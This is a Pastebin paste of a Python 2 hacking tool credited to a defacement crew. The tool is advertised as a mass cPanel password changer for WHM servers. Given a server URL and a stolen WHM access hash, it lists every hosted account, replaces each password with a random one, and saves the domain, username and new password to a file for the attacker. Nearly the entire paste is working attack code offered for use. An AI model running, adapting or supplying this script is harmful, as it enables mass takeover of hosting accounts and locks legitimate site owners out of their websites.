Advertisement
Guest User

Untitled

a guest
May 8th, 2018
30
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. #fsociety
  2. #cOded by Sajjad 1337 ~
  3. import urllib2, urllib, httplib, re, sys, random,string , json
  4.  
  5. prefix1 = "T@NS"
  6.  
  7. lame = '''
  8. [=] Mass cPanel Pass Changer from WHM [=]
  9. [+] Coded By Sajjad 1337 [+]
  10. [-] DZ Quake Team Hackers[-]
  11.  
  12. ''' #lamers can change their logo here :V
  13. print lame
  14. url = raw_input('[~]Put Like This :(http://host:2086)\n[$]~ ')
  15. extraLove = ['@','47','V','T','G']
  16. hardcore = ''.join(random.choice(extraLove) for _ in range(2))
  17. opener = urllib2.build_opener()
  18. ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A'
  19. access = raw_input("[~] Put Like This: (user:accesshash)\n[$]~ ")
  20. opener.addheaders = [('User-agent', ua),('Authorization','WHM ' + access)]
  21. try:
  22. viewall = opener.open(url + '/json-api/listaccts').read()
  23. if not '"acct":' in viewall:
  24. print "\!/ Fuck Access Denied!"
  25. sys.exit()
  26. except (urllib2.URLError, urllib2.HTTPError, IOError, httplib.HTTPException) as e:
  27. print "Error!! in first request...!"
  28. print str(e)
  29. print "\nPlease fix this and relaunch!"
  30. sys.exit()
  31. uinfos = json.loads(viewall)
  32.  
  33. for userdata in uinfos['acct']:
  34. leetsname = userdata.get('user')
  35. leetsweb = userdata.get('domain')
  36. rand_pass = lambda n: ''.join([random.choice(string.lowercase) for i in xrange(n)])
  37. leet_pass = hardcore + rand_pass(6) + prefix1
  38.  
  39. churl = url + '/json-api/passwd?api.version=1&user='+leetsname+'&password=' + leet_pass
  40. req = urllib2.Request(churl)
  41. try:
  42. changeit = opener.open(req).read()
  43. if "has been changed" in changeit:
  44. with open('changed.txt','a+') as e:
  45. formatit = leetsweb + ':2082' + '|' + leetsname + '|' + leet_pass
  46. e.write(formatit+'\n')
  47. print formatit
  48. else:
  49. continue
  50. except (urllib2.URLError, urllib2.HTTPError, IOError, httplib.HTTPException) as e:
  51. print "Error!! changing pass...![maybe suspended]"
  52. print str(e)
  53. print "\nignoring and continue"
  54. continue
  55.  
  56. print "[+] Saved as changed.txt ."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement